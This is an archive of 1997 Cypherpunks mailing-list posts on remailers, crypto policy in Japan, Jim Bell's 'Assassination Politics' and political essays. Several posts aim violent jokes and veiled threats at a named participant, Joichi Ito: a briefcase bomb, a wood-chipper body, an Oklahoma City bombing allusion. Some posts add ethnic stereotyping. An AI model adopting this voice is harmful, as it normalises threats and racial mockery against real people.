Anonymous email and anonymous remailers would be the first victims.

Then there would be a license fee introduced to cover the costs of such a 
system (internet drivers license?), followed by calls for censorship 
which would now have much greater pseudo legitimacy. This would be only 
the crest of a very big wave. 

Spam is conveniently dealt with using procmail and other filtering tools. 
Admins generally will deal swiftly with denial of service attacks.

I'm having a problem with leaves from the neighbours trees blowing onto 
my front lawn. I think the government should DO SOMETHING.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Mon, 4 Aug 1997 07:21:53 +0800
To: cypherpunks@cyberpass.net
Subject: Eternity Content Suggestions
Message-ID: <19970803231431.4542.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Just a few off the top of my head... 

An "Assassination Politics" home page, containing the story of Jim Bell,
all publicly available documents on the case, and links to all the
currently operating AP-Bots.

The alleged NSA Manual.

Favorite Cypherpunks Cryptographic Links, including helpful offshore
source code archives, and a pointer to the Cyphernomicon.

Seekret Skriptures ('Nuff Said)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}
 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Mon, 4 Aug 1997 07:53:04 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <P9cTae9w165w@bwalk.dm.com>
Message-ID: <25455.870651372@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



|Paul Pomes sends me harrassing e-mail and quotes more obscenities from
|the anonymous remailers:

As you posted the obscenities in the first place I fail to understand your
objections.

Pot, kettle, black, Dimi.  Again, why are you trying to shut down the 
remailers with the Vulis-bot?

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <adejoode@replay.com>
Date: Mon, 4 Aug 1997 00:02:48 +0800
To: cypherpunks@cyberpass.net
Subject: jya.com
Message-ID: <199708031551.RAA29954@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




It seems that replay.com has a partial mirror of jya.com last update was
March 14th, so any docs uploaded after that date on jya.com are not
available.

URL: http://www.replay.com/mirror/jya.com

Enjoy.
-Alex





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 4 Aug 1997 11:02:58 +0800
To: cypherpunks@toad.com
Subject: Re: The Poor in Spirit
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <19970803193422.17765@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Aug 03, 1997 at 10:28:28AM -0400, frissell@panix.com wrote:
>At 09:29 AM 8/2/97 -0700, Kent Crispin wrote:
>>In more general terms: A "free market" fundamentally grants more
>>control to those with more money.  
>
>In a free society, the "poor" have more money (collectively) than the rich 
>and outbid them for resources all the time.  

I'm not sure what you mean by "free society", since earlier writings
by you and others indicate that you believe that no such thing
currently exists (certainly not here in the US), or indeed has ever
existed.  Consequently, your statement here must be false on its 
face, since the poor have never been in a "free society".

Even so, your statement is not an argument against what I said in any
significant way, but rather is a corollary -- the trend for the rich
to get richer and the poor to get poorer, if extrapolated to the
extreme, still results in a very small number of people controlling
more wealth than all the rest of mankind.  What intrinsic 
characteristic of completely unrestricted markets do you see that 
naturally contervails this trend?

> Were this not so, communities of 
>the "poor" would never increase in size and yet they do.

Doesn't follow at all.  The poor can increase in numbers, and just 
get poorer.  You can see this all over the world.

>It is also much easier for the poor to get money in a free society than for 
>the powerless to get power in the sort of societies you favor.

Doubtful.  I favor free societies.  Realistic free societies, that is. 

>I can teach a poor person in America today the simple ways to triple or 
>quadruple his income. 

I don't believe you.  Oh, in isolated cases perhaps.  But not as a 
general lesson you can give to any Joe Poverty, and suddenly make 
him middle class.

But once again I am struck by the thought that, contrary to much of 
the sentiment expressed on this list, you actually believe that 
America today is a *true free society*.  Have you turned in your 
cpunks credentials?

> I could not teach a resident of France or Germany or 
>Japan a simple way to triple or quadruple his "influence" on his government

But are you then  implying  that you could in the US!?!?

>and indeed a tripling of such influence would give him much less than a 
>tripling of income.

No doubt about it.  :-)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Mon, 4 Aug 1997 10:47:34 +0800
To: cypherpunks@Algebra.COM
Subject: How age and PICS ratings may go down...
Message-ID: <199708040231.TAA09298@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain




One way "voluntary" age ratings--very similar to PICS ratings--may be
mandated is through the kind of "plea agreement" cited below. (I don't
know if this site is real or not, but the post presents a scenario which
will become more common, I think.)

Someone writes something, or has a site, and is busted for some charge.
(There are many, even with what remains of the First Amendment. Child
porn, obscenity, the new copyright laws, the Anti-Terrorism Act, etc.) A
nolo contendre or guilty plea to a lesser charge is entered, with the
agreement that an age verification system will be used, or a PICS rating,
etc. And so the government gets the kind of censorship it wants.

(Duncan will likely argue that this is impossible to enforce. Maybe in the
limit, in the sense that some will fall through the cracks. But the
dangers to anyone hosting words or pictures on their sites is very real.
As more and more ISPs drop controversial material--think of several recent
cases, and perhaps even the case of our own John Young--and as more child
porn/celebrity nude/obscenity cases are filed....by the time the Thomases
are both out of prison, most sites will likely be heavily editing
themselves, imposing age limits, and using PICS ratings.)

The article is below.

--Tim May


> From: <thebridge@andau.com>
> Newsgroups: alt.binaries.pictures.joanne-guest
> Subject: The celeb site illegal in Texas
> Date: 3 Aug 1997 10:20:21 GMT
> Organization: Commuter Communication Systems, Austin TX
> Lines: 36
> Message-ID: <5s1m15$2m6$732@quest.ccsi.com>
> NNTP-Posting-Host: savage24.ccsi.com
> Xref: news.znet.com alt.binaries.pictures.joanne-guest:5351
> 
> The fakes page, along with the XXX passwords page, is the one that got
me in trouible with the law ans the community action groups. I used to
have these two pages  in the free access web, and it seems that many
people found it objectionable that kids could get to the "Celebrity
Blowjobs" and other work. They were right. I was wrong. I tried the
Ulysses argument, but they just wouldn't accept the rationale that
watching Kathy Lee give head had serious and important literary value. By
the way, this is the same page that generated the two-page write-up in
Internet Underground.
> 
> So, I copped a plea, agreed to Adult Verification. Anyway, there is age
verification now, and I am free to offend the adults of my community, and
hopefully all communities everywhere.
> 
> AdultSights members......you're there dudes.
> 
> non-members, you can get one instantly
> (also gets you in to my passwords page, my Encyclopedia (2200 celebs),
and much more, plus 2,000 other sites)
> 
> http://www.scoopy.net/fooled.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Mon, 4 Aug 1997 13:39:16 +0800
To: cypherpunks@toad.com
Subject: Computer Magazine Archive Special Offer!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.13817.08031997200008.86273@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------
   ZDNET ANNOUNCEMENT        8/4/97
----------------------------------------------------------------

ZDNet Members:  Take advantage of a special risk-free trial offer 
to Computer Magazine Archive!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 4 Aug 1997 11:37:42 +0800
To: cypherpunks@cyberpass.net
Subject: Infantocracy
Message-ID: <v03102803b00afdbd42e7@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



INFANTOCRACY

On both the state and federal level, government has become obsessed with
kiddie issues

By Rafael Tammariello

The United,States is evolving into what can be characterized as the world's
first "infantocracy" a nation whose laws, policies and political culture
are captive to the perceived needs and wants of a mythical brood known as
"The Children."

By proxy, the United States is becoming a country ruled by "The Children"
as the central government embarks on a systematic quest to circumscribe the
liberties of adults in the name of shielding "The Children" from all things
harmful.

"The Children" are not real, flesh-and-blood kids who grow up to be adults,
who spend the remaining 80 percent of their lives as adults and seek to
enjoy the rights, privileges and prerogatives of adulthood. No. "The
Children" of the infantocracy's conception are sainted, angelic beings,
wide-eyed, wholesome and perpetually about 7 years old, judging from the
White House photo-ops.  "The Children" are pure and infinitely vulnerable
beings who will never grow up, never need to exerise adult choices, never
light up a cigar, watch a good violent drama on TV or entertain friends
over the backyard grill.

The emerging infantocracy vigorously seeks to limit the range of adult
activities-from free speech to driving to smoking to gun use to television
viewing to Internet access to backyard cooking.

These days, the business of America is certainly not the business of
securing the liberty of her citizens, as the founding fathers envisioned
two centuries ago. Ceaseless attacks on the Bill of Rights-launched in the
name of protecting "The Children" from guns or smut or whatever-emanate
from the very members of Congress sworn to defend those freedoms.

The legislative and executive branches of government at the state and
national levels are obsessed with kiddie issues-to the virtual exclusion of
all else.

What was the theme of last week's National Governor's Association confab at
The Mirage? Early childhood development, replete with gurgling babies as
omnipresent props. At one point, Nevada Gov. Bob Miller was practically
buried in babies. A week earlier, President Clinton, surrounded by
squealing infants, pushed for a tobacco surtax to finance socialized
medicine for "The Children."	~

Who are these children-"The Children"-whose salvation lies in the
suppression of adult freedoms and prerogatives?

Consider: A comprehensive poll by Public Agenda, a New York-based research
firm, asked 2,000 adults to reveal their thoughts about America's
youngsters. The results, published in June under the title "Kids These
Days: What Americans Really Think About the Next Generation," indicate a
massive vote of "no confidence" in kids. A strong majority of the adults
surveyed said they perceived a disturbing upsurge in "wild, rude and
frightening behavior among young people. Fully 63 percent did not believe
today's kids will make the country a better place when they grow up.

But "The Children" are not these  children-not the ill-mannered youngsters
in big pants with their hats on backwards, or the Beevis and Butthead
clones. No, no. "The Children" are sainted, immortal beings, forever young,
forever innocent, vulnerable and in need of protection from their saviors
in Washington.

Let's get this straight: The majority of children are good kids; children
do need protection; they do need nurturing and moral direction-from their
parents, not Uncle Sam.

Our children are the future. But, strangely, the American infantocracy is
not really, as its advocates assert, concerned about the children's future.
Indeed, the infantocracy contemplates no realistic future for "The
Children-that is, it ; fails to take into account the inevitable fact that
childhood is a fleeting thing and that a society molded in the image of a
day-care center may be hostile to adults, which the children, the real
children, will soon become.

When the real children become real adults, they may want to engage in those
grown-up activities that are being proscribed wholesale by the grim,
puritanical infantocracy being built in the name of their mythical
counterparts "The Children."

Bill Clinton is, of course, the chief architect of the infantocracy. Every
significant Clinton policy initiative-from tax credits to gun control to
nuclear arms reduction-is trotted out under the banner of "The Children."

But others on both the left and right assist in the creation of this odd
new society. Indeed, the most recent attempt to limit adult choices in the
name of "The Children" emanated from the right, in the dour personage of
Utah Sen. Orrin Hatch, who sought a national ban on
gambling within 10,000 feet of schools, parks and any other place "The
Children" might find themselves. The Hatch initiative, which could throttle
Las Vegas (a bright anomaly in the new child-fixated universe) has stalled.
But do not be surprised if a similar proposal arises from the national
gambling commission's conservative moralists or from some of their
soulmates in Congress.

Then there was Republican Sen. Mark James' attempt in the Nevada
Legislature to censor advertising that might offend the sensibilities of
"The Children."

Attacks on adult-oriented material on the Internet and on television-the
calls for a "voluntary ratings system" and "voluntary" self-censorship (all
under threat of federal regulation, of course)-have come from both
Bible-brandishing rightists and therapeutic-state leftists. The voluntary
ratings system is the initial baby step toward government-ordered
infantiization of the airwaves making them safe for "The
Children." The mythical "Children," you understand, will remain seven
years, old forever. Unlike real children, "The Children" never' grow up and
want to watch a good bloody flick on the tube.

The Constitution's First Amendment provides no armor when the infantocracy
deploys its SWAT teams to rescue "The Children." Witness Joe Camel,
bludgeoned to death "voluntarily" by his creator as government regulators,
the White House, Congress, and a legion of attorneys general grabbed, the
tobacco industry's  throat.

In the name of saving "The Children" from Demon Tobacco, a whole group of'
companies, engaged in a heavily taxed legal business have volunteered to
surrender  their First' Amendment right to advertise.

If Clinton and his two chief tobacco advisers - Baby Doctors C. Everet Koop
and David Kessler work their will, the United States will have tobacco
prohibition in a few years, and that will include cigars. When Mr.
Clinton's FDA reduces the amount of nicotine in cigars and cigarettes to
zero, smokers will be forced to find the real smokes on the black market

But the emergence of a black market and new criminal class doesn't bother
Bill Clinton. As the president said in Madrid on July 9: "What is a black
market ... (a) 1 percent penetration of the market, a  3 percent
penetration of the market? Would we deny the FDA the right to protect 100
percent of our citizens because there might be a few black-market
cigarettes around?''

Ah, the sainted Children. Surely, as Mr. Clinton states, banning nicotine
will protect 100 percent of them, just as the prohibition of marijuana has
kept them 100 percent drug-free.  And, if Clinton's estimates are correct,
only 500,000 to 1.5 million American adults will be converted into
black-market criminals. We'll need some new prisons-at least 500 of them.
The benevolent garb of the infantocracy conceals the mailed fist of The
Enforcer.

The infantocracy's jihad against the First Amendment and adult-Americans
who choose to smoke is not its only display of raw force. New clean-air
rules advanced by Bill Clinton and his fanatical Environmental Protection
Agency also represent a vast expansion of government power over states,
cities and individuals, right down to their barbecuing habits. When Mr.
Clinton announced the new rules on June 25, he said: "I have approved some
very strong new regulations today that will be somewhat controversial, but
think kids ought to be healthy." Come ye forth and sacrifice at the altar
of the sainted "Children."

Under the new EPA edict, cities across the nation will be compelled to
adopt and enforce policies that are designed to result in air that is
virtually free of dust and man-made ozone. The ' cost of implementing the
rules - that the EPA hypothesizes will marginally extend the life-spans of
some kids with asthma-could, by one estimate, exceed $330 billion a year,
far more than the defense budget.

The Los Angeles limes points out, no technology exists that could scrub
that city's air clean enough the meet the new standards. The only way to
achieve compliance in cities such as L.A. (which cannot handle even the
existing air- quality standards) would be the adoption of draconian
measures: restrictions on driving, mandated car-pooling, shutting down
industries, banning gas-powered lawn mowers and so on.

Mr. Clinton and the EPA pooh- pooh the idea that many urban areas, in their
desperation to comply with Washington's dictates, will be forced to outlaw
fireplaces and backyard barbecues. But- cities such as Los Angeles and
Denver in their struggle to meet even the extant clean-air standards-have
already taken such steps; and other cities will be forced to follow suit.

As the infantocracy gears up, its creators and supporters busy themselves
with many other projects.  Clinton has already ordered federal officers'-"
to affix rigger-locks on their guns at home, and he fervently yearns for
national legislation requiring, hem on all firearms owned' by citizens.
Said Clinton in pushing! is proposal: "We protect aspirin bottles in this
country better then we protect guns from accidents by children." The
Sainted Children. And, if trigger locks .'prevent' adults,: from
!effectively defending their homes and their children, real children - it's
just another requisite sacrifice of adult choices in the name of the
mythical "Children" who are always 7 years old and who never grow up to
have homes and families of their own to defend.

Hand it to Yale Professor Kelly Brownell, director of the University's
Center for Eating and Weight Disorders, for providing the infantocracy a
focus for its next crusade. Heir Docktor Brownell has raised the alarm: The
United States is wash in unhealthful, fatty foods, and kids, at the urging
of bad clowns, are lured into eating them. Two weeks ago, Brownell told The
Washington Times: "Junk food advertisements should be regulated, and excise
taxes imposed on high-fat foods, just as they are on tobacco and
alcohol.... As a culture, we get upset about Joe Camel, yet we tolerate our
children seeing 10,000 commercials a year that promote foods that are every
bit as unhealthy."

"The Children," you see, never grow up and will, never want to order a
well-marbled steak with chocolate mousse for dessert. For "The Children"
remain 7 years old forever, and cherish their fruits and vegetables.

Joe Camel, meet Ronald McDonald in the infantocracy's roomy dungeon.

The emerging American infantocracy embraces a vision that does not include
you driving to a friend's house, grilling burgers on the backyard barbecue,
and enjoying a cigar afterwards in front of the fireplace. The engineers of
the infantocracy are creating a society tightly fixated on stamping out all
of life's little risks. It's a task undertaken at the expense of grown-up
things and adult choices. This new society is a strange, confining place, a
place that's increasingly difficult to recognize as the land of the free or
the home of the brave.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sun, 3 Aug 1997 20:37:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim Misfires / Re: Joichi Ito as a Junior Policeman
Message-ID: <199708031231.VAA00231@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:56 97/08/03 -0600, Toto wrote:

>   It is clearly up to Joichi Ito to decide how he can best work toward
> cypherpunk goals under his system of government, but he would do well
> to listen to those on the list who have seen more than a few crusaders
> sink into the swill when they make the mistake of talking to the piggies
> too close to the trough.
>   A good sign that you have not yet been co-opted is if you still take
> that "extra" briefcase to the meetings, just in case.
> {"I've got to run out to my car for a moment with my briefcase, but I
> will be leaving my _other_ briefcase here." <tick-tock-tick-tock>}
> 
> TruthMonger

Point well taken. I understand that it is easy to get misdirected
when you are "dancing with the devil"... Currently, as one of the primary
supporters of privacy and free access to cryptography in Japan, I have much
more
to lose and very little to gain from being "co-opted." by "the bad guys" (who
aren't looking out for the interests of the people).  In addition, although
the Japanese Self Defense Force may be militaristic (they are the military
so they probably are pretty militaristic), Japan does not have the
equivalent of the NSA. It really is in Japanese national security interests
to consider minimizing risk by distributing it since they obviously do not
have the ability to control it in the way that the US does. Anyone who
has been following the statements by the Japanese at the OECD should
note that Japan has alway lagged behind in supporting government control
of crypto. In addition (although this article is very seldom sited in actual
cases) the Japanese constitution provides for privacy of communications
for citizens. Also, most of the crypto technology is held in private
companies.

Really, what I am try to do is two things:

1) Make sure that Japan makes the right decision about crypto policy so
that they do no stifle commercial development of crypto or put at risk
national and individual security/privacy by implementing a weak system because
of political pressure or domestic surveilance requirements.

2) Make sure that Japan does not repeat the US "Hacker Crackdown" and
more recent Australian crackdowns which I think can cause a rift between
hackers and society. Right now I think the risk of weak security from
the point of view of IWar and just plain network failure is much more
important
than cracking down on hackers/crackers. I'm trying to head off such
"crackdown"
movements by trying to put threats and risks into perspective at the National
Security level and take the focus away from the activities of hackers who
I think can help improve security and lower risks in the long term.

As for Tim's message... I keep worrying (when I am in Japan) that I'm too
radical, so it's nice to hear from someone who is really hardcore to put
a wimp like me in my place. ;-P

I guess I still believe in trying to redirect the process of government before
"dropping out"... I'm not making it any easier for the "bad guys" giving them
my opinion and I can alway "drop out" when I think no one's listening
anymore...

Anyway, I'm going to stop writing now before all of the government people
reading this list decide to put me in their kill file. Then no one will be
listening
to me. ;-P


- Joi

P.S. I wrote an article in the Daily Yomiuri about a year ago that outlines
where I am coming from. Please take a look if you are interested. The
Daily Yomiuri is a national Japanese newspaper.
<http://www.garage.co.jp/~jito/article.html>

--
Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 4 Aug 1997 13:04:35 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth
In-Reply-To: <199708040346.FAA26108@basement.replay.com>
Message-ID: <v03102802b00b0cf4dc3c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:46 PM -0700 8/3/97, Anonymous wrote:
>Joichi Ito wrote:
>> As for Tim's message... I keep worrying (when I am in Japan) that I'm too
>> radical, so it's nice to hear from someone who is really hardcore to put
>> a wimp like me in my place. ;-P
>
>  Actually, when Tim puts someone in what he considers to be their
>place,
>it usually involves the purchase of a tombstone.

Actually, the trick is to avoid having the body discovered. What goes into
the 10 h.p TroyBilt Chipper/Shredder comes out not needing any kind of
tombstone at all.

Not that I have ever advocated killing mere folks like Joichi with whom I
disagree strongly. (A new quote: "Killfiles don't need tombstones.")

As for Joichi's message quoted above, he should hope to hell that he wakes
up and realizes that not even in Japan can journalists--which is what I
thought he once was, or claimed to be--serve on Ministry committees to
decide how citizen-units may communicate!

Any journalist in Europe or in the U.S. would be seen as having irreparably
compromised his journalistic objectivity by serving on such a panel! And
properly so, of course.

Joichi is of course free to compromise his would-be journalistic standards
as he wishes. We are, of course, equally free to severely criticize this
and to notify "Wired" and other such outlets of his stuff.

(How long do you think Brock Meeks could keep whatever reputation he now
has if he served as a consultant to the National Security Agency?)

>  Japanese society has long been very rule-oriented, in large part as
>a result of the country's geography, population and history.
>  A "No Farting" sign which might reek of totalitarianism when placed
>on the open range, might well seem less so when placed in a two-man
>tent occupied by six people. Environment, geography and the history
>of a a country, society and its people, all play a part in the degree
>to which an individual will view their personal position in regard to
>the society and government around them. And each will perceive the way
>in which they feel they can best promote their beliefs within their
>society and government.

Whatever. A good friend of mine just got back from 10 years in Japan
(Tsukuba and Tokyo), and has filled me in on the "nail that stands up"
stuff. It's hackneyed.

The point is, if Joichi Ito wants to ever be taken at all seriously, as a
reasonable objective reporter of what is happening, his co-opting by the
Japanese Self Defense Forces, Chobetsu, etc., for this "committee" on
crypto policy, must be scrutinized, and almost certainly criticized.

>  It seemed to me that after Jim Bell's arrest, most of the posts to
>the list posted an almost-standard disclaimer: "Actually, although
>I hardly knew the man, thought he was a _loon_, and _disagreed_ with
>most of what he had to say..."

Actually, more people were openly discussing his ideas than before.

I, for one, never dismissed the ideas. I think his ideas are derivative
(cf. my entire sections in the 3-year-old Cyphernomicon, for example). And
his idiosyncratic way of presenting them ("Something _wonderful_ is about
to happen!," "I have an idea") gave the appearance that he was close to
being a loon, if not actually one.

Personally, I see nothing to be gained in the bigger scheme of things by
targetting the Portland office of the IRS, for example. Nor do I think his
"Assassination Politics" market would work in the way Bell claimed it
would: many pointed this out, and Bell never seriously responded (that I
can recall, but, then, I deleted many of his posts).

This has nothing to do with your presumptive point, that we were frightened
by the IRS and other LEA actions and then sought to distance ourselves from
Bell's idea. Nothing could be further from the truth. I, for one, have made
it clear that I will not  inform on Bell, or answer LEA questions unless
subpoenaed or charged. (And possibly not even then. I have not been a
co-conspirator of Bell's, and any questioning of me can be done at my
standard consulting rates. I am willing to be an "expert witness" on some
topics, if my schedule is free.)



>> And nothing but mischief will come out any meetings with government on
>> "crypto policy," as their goals can never be our goals. At least in the
>> U.S., despite obvious flaws, we have a "Congress shall make no law"
>> provision which _tends_ to make government meddling in speech, such as
>> meddling in crypto, more difficult.
>
>  I hope that the "flag" Tim is wrapping himself in isn't the same one
>that he was burning yesterday.
>  {Not that I'm accusing Tim of being purposely deceitful. It's just
>that when we throw a "leaner" instead of a "ringer," they sometimes
>lean in opposite directions.}

Utter bullshit. I have cited the First, Second, and other provisions of the
Constitution for the 5 years of this list. That I would prefer an even more
anarchistic, market-oriented system than we now have, or that I dislike the
hundreds of thousands of laws passed over the last 50 years, is no reason
not to use the protections of the Constitution.  And the line between an
anarchocapitalist and a strict constuctionist is fine indeed. Anyone who
thinks this is "deceitful" is probably one of those folks who says, "Oh,
yeah, well if you dislike government why don't you just refuse to drive on
public roads? Some people are just born stupid.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 4 Aug 1997 11:44:25 +0800
To: cypherpunks@toad.com
Subject: PGP Answers RSA
Message-ID: <1.5.4.32.19970804032232.0085c390@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to John Gilmore we offer a 44-page package of
PGP's court filings in response to RSA's suit:

   http://jyx.com/rsavpgp2.htm

Exhibits of early letters among Cylink, RSA, and PGP preceding 
the suit are of interest, one of which has been provided before
by Greg Broiles at parrhesia.com.

We've also put on JYX the AOL-axed RSA v. PGP docs, linked
to this latest: the RSA suit and the Lemcom License.

A bit more from JG will be ready in a few days.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 4 Aug 1997 13:56:34 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth (fwd)
Message-ID: <199708040544.AAA32292@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 3 Aug 1997 22:02:24 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth

> As for Joichi's message quoted above, he should hope to hell that he wakes
> up and realizes that not even in Japan can journalists--which is what I
> thought he once was, or claimed to be--serve on Ministry committees to
> decide how citizen-units may communicate!
> 
> Any journalist in Europe or in the U.S. would be seen as having irreparably
> compromised his journalistic objectivity by serving on such a panel! And
> properly so, of course.

As long as they were representing their personal opinions and not acting as
a journalist (ie being paid by a 3rd party) and they disclose the action
there would be compromise on objectivity.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 4 Aug 1997 13:58:05 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Suggested book
Message-ID: <199708040548.AAA32327@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Somebody (I'm too lazy to check the archives) mentioned "The Soveriegn
Individual" by Davisdson & Rees-Mogg. I happened to stumble across it in the
bookstore so I bought it.

While I am only about a 3rd through it and clearly disagree with several
points the main thesis is worth examining. Strongly suggested for any cpunk.

The Sovereign Individual: How to survive and thrive during the collapse
                          of the welfare state
J.D. Davidson & Lord W. Rees-Mogg
ISBN 0-684-81007-7
$25.00

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 4 Aug 1997 16:02:06 +0800
To: cypherpunks@toad.com
Subject: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up / Tim Throws a "Leaner" / Re: Tim Speaks the
Message-ID: <199708040739.BAA02500@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito wrote:
> 
> OK. I give up. I think DreamMonger's last comment about at least sort of
> believing in my intentions is about the best it will get for me here.

  Sure, quit before we even have a chance to use the cheap shots we've
thought up since our last posts. Spoilsport.

> Tim, you're in my killfile now too so I'm not going to respond directly to
> your comments.

  Me neither. I'm going to use email.

> Now at least when I am going through the meatgrinder, I won't know if it is
> a cypherpunk or a Japanese fascist who's sending me through.

  It would probably be considered Politically Incorrect for me to
mention
that eye-shape might be a good indication, so I won't.
  Another indication might be whether your torturers are shouting,
"Confess!
You all an Ameliclan SPY!" or, "We kicked your ass in 'The Big One',
pal."
  If you haven't figured it out by the time you've been put completely
through the meatgrinder, you can still figure it out by noting whether
your remains are being mixed with rice and put in cabbage leaves, or
being coated with barbeque sauce and thrown on a grill.

> At 05:46 97/08/04 +0200, Anonymous wrote:
> >   I hope Joichi Ito paid enough attention to the OKC bombing to realize
> > that some surgeons are less skilled than others, and that there is a
> > risk in remaining too long in close proximity with cancerous tissue.
> 
> Some Japanese conservatives probably think *I* am the cancerous tissue that
> their people shouldn't hang out with...
 
  "Everybody needs somebody that they can look down on.
   That they can feel better than, at any time they please.
   Someone doing something dirty, decent folks can frown on.
   And if you can't find nobody else, then help yourself to me."
      - Kris Krisofferson

  It has been my experience that it is more fulfilling to be tortured by
CypherPunks than by Conservatives. <ymmv>
  (And the physical meetings are more fun, too.)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 4 Aug 1997 04:13:10 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.91.970802202341.379B-100000@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.93.970804014714.120A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Paul Bradley wrote:

[...]

> > Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> > posts into usenet you don't wish them to be removed from usenet?
> 
> That would be for Dimitri to decide for himself, and not for some 
> cocksucker to take a unilateral decision on.

I have made no such unilateral decision,  I have simply asked a question
of the good Doctor.

> Of course disabling cancels on all news-servers would mean such a freak
> article couldn`t be cancelled, even by it`s author, 

Wouldn't authentercated cancel models be better so an artical could be
cancelled by its author and no other.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+SpXaQK0ynCmdStAQGiGwP+Pe67+xKUZetX1ORoW1V5M5macasopNtu
